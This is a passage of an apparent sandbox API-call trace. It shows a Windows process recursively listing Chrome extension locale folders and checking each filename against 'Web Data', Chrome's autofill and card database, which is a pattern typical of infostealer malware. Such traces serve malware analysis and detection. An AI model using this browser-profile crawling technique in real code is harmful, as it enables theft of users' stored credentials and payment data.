lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB" [0056.434] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\*.*" [0056.434] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.434] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.434] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.434] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.434] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.434] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.434] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.434] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.434] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.434] LocalFree (hMem=0x2e0320) returned 0x0 [0056.434] LocalFree (hMem=0x2e0210) returned 0x0 [0056.434] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.434] lstrcmpiA (lpString1=".", lpString2="en_US") returned -1 [0056.434] lstrcmpiA (lpString1="..", lpString2="en_US") returned -1 [0056.434] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.434] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.434] lstrlenA (lpString="\\") returned 1 [0056.434] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.434] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" [0056.434] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.434] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned 129 [0056.434] lstrlenA (lpString="en_US") returned 5 [0056.434] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2e0210 [0056.434] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.434] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\", lpString2="en_US" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US" [0056.434] LocalFree (hMem=0x2e0100) returned 0x0 [0056.434] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US") returned 134 [0056.434] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US") returned 134 [0056.434] lstrlenA (lpString="\\*.*") returned 4 [0056.434] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2e0320 [0056.434] lstrcpyA (in: lpString1=0x2e0320, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US" [0056.434] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\*.*" [0056.434] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.435] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.435] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.435] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.435] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.435] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.435] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.435] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.435] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.435] LocalFree (hMem=0x2e0320) returned 0x0 [0056.435] LocalFree (hMem=0x2e0210) returned 0x0 [0056.435] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.435] lstrcmpiA (lpString1=".", lpString2="es") returned -1 [0056.435] lstrcmpiA (lpString1="..", lpString2="es") returned -1 [0056.435] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.435] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.435] lstrlenA (lpString="\\") returned 1 [0056.435] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.435] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" [0056.435] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.435] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned 129 [0056.435] lstrlenA (lpString="es") returned 2 [0056.435] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.435] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.435] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\", lpString2="es" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es" [0056.435] LocalFree (hMem=0x2e0100) returned 0x0 [0056.435] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es") returned 131 [0056.435] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es") returned 131 [0056.435] lstrlenA (lpString="\\*.*") returned 4 [0056.435] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.435] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es" [0056.435] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\*.*" [0056.435] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.435] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.435] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.435] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.435] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.435] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.435] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.435] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.435] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.435] LocalFree (hMem=0x2e0100) returned 0x0 [0056.436] LocalFree (hMem=0x2e0210) returned 0x0 [0056.436] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.436] lstrcmpiA (lpString1=".", lpString2="es_419") returned -1 [0056.436] lstrcmpiA (lpString1="..", lpString2="es_419") returned -1 [0056.436] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.436] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.436] lstrlenA (lpString="\\") returned 1 [0056.436] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.436] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" [0056.436] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.436] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned 129 [0056.436] lstrlenA (lpString="es_419") returned 6 [0056.436] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0210 [0056.436] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.436] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\", lpString2="es_419" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419" [0056.436] LocalFree (hMem=0x2e0100) returned 0x0 [0056.436] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419") returned 135 [0056.436] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419") returned 135 [0056.436] lstrlenA (lpString="\\*.*") returned 4 [0056.436] LocalAlloc (uFlags=0x40, uBytes=0x10c) returned 0x2e0320 [0056.436] lstrcpyA (in: lpString1=0x2e0320, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419" [0056.436] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\*.*" [0056.436] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.436] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.436] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.436] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.436] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.436] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.436] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.436] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.436] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.436] LocalFree (hMem=0x2e0320) returned 0x0 [0056.436] LocalFree (hMem=0x2e0210) returned 0x0 [0056.436] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.436] lstrcmpiA (lpString1=".", lpString2="et") returned -1 [0056.436] lstrcmpiA (lpString1="..", lpString2="et") returned -1 [0056.436] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.436] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.436] lstrlenA (lpString="\\") returned 1 [0056.436] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.436] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" [0056.436] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.436] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned 129 [0056.436] lstrlenA (lpString="et") returned 2 [0056.436] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.436] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.437] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\", lpString2="et" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et" [0056.437] LocalFree (hMem=0x2e0100) returned 0x0 [0056.437] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et") returned 131 [0056.437] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et") returned 131 [0056.437] lstrlenA (lpString="\\*.*") returned 4 [0056.437] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.437] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 